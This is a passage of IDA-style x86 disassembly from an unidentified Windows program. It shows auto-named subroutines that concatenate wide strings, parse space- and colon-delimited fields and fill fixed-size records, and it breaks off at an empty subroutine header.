		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27D0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB4C
		push	offset dword_50DB4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E8C
		mov	ecx, off_444E90
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E94
		rep stosd
		mov	ecx, off_444E84
		mov	[esp+10h], edx
		mov	dx, word_444E88
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27D0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
